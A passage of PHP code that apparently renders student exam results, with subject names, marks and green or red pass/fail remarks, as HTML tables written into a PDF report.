if(strtolower($FTHPASSMTH)!="-" && strtolower($FPRPASSMTH)=="-") { $remarks = GetTdData1($FTHPASSMTH,""); } else if(strtolower($FTHPASSMTH)=="-" && strtolower($FPRPASSMTH)!="-") { $remarks = GetTdData1($FPRPASSMTH,""); } else { $remarks = GetTdData1($FTHPASSMTH,$FPRPASSMTH); } $title1 = array("{$mthprue}","{$uni_exam}","{$viva_exam}","{$ia_exam}","{$total}"); //$w = array('5','50','8','8','8','8','8','8'); $html = '<table cellspacing="0" cellpadding="1" border="1" > <tr style="">'; $html .= '<td width="'.$w[0].'px" align = "center">'.$z.'</td>'; $html .= '<td width="'.$w[1].'px" align = "left">'.$FSUBNAME.'</td>'; $x = 0; for($i = 2;$i<count($w);$i++) { $html .= '<td width="'.$w[$i].'px" align = "center">'.$title1[$x].'</td>'; $x++; } $html .= "</tr></table>"; $z++; //$pdf->writeHTML($html, $ln=true, $fill=true, $reseth=false, $cell=true, $align='L'); $pdf->writeHTML($html, false, false, false, false, ''); //var_dump($FREGNO); if($outregnonew != $outregnoold || $outexamnew != $outexamold) { $outregnoold = $reg_v['fregno']; $outexamold = $reg_v['fexamno']; //var_dump($reg_v['fregno'].'----'.$reg_v['fexamno']); //$pdf->Output($main_src."results/results_".$reg_v['fregno']."_".$reg_v['fexamno'].".pdf","F"); } $z++; */ // $pdf->AddPage(); } } function GetTdData($div1,$div2) { $html=""; if(empty($div2)) $html="{$div1}"; else $html="{$div1}<br>{$div2}"; return $html; } function GetTdData1($div1,$div2) { $color1="color:green;"; $color2="color:green;"; if(trim(strtolower($div1)=="fail")) $color1="color:red;"; if(trim(strtolower($div2)=="fail")) $color2="color:red;"; $html=""; if(empty($div2)) $html="<div style=' {$color1}'>{$div1}</div>"; else $html="<div style='padding:5px;{$color1}'>{$div1}</div><div style='{$color2}'>{$div2}</div>"; return $html; } ?>
Close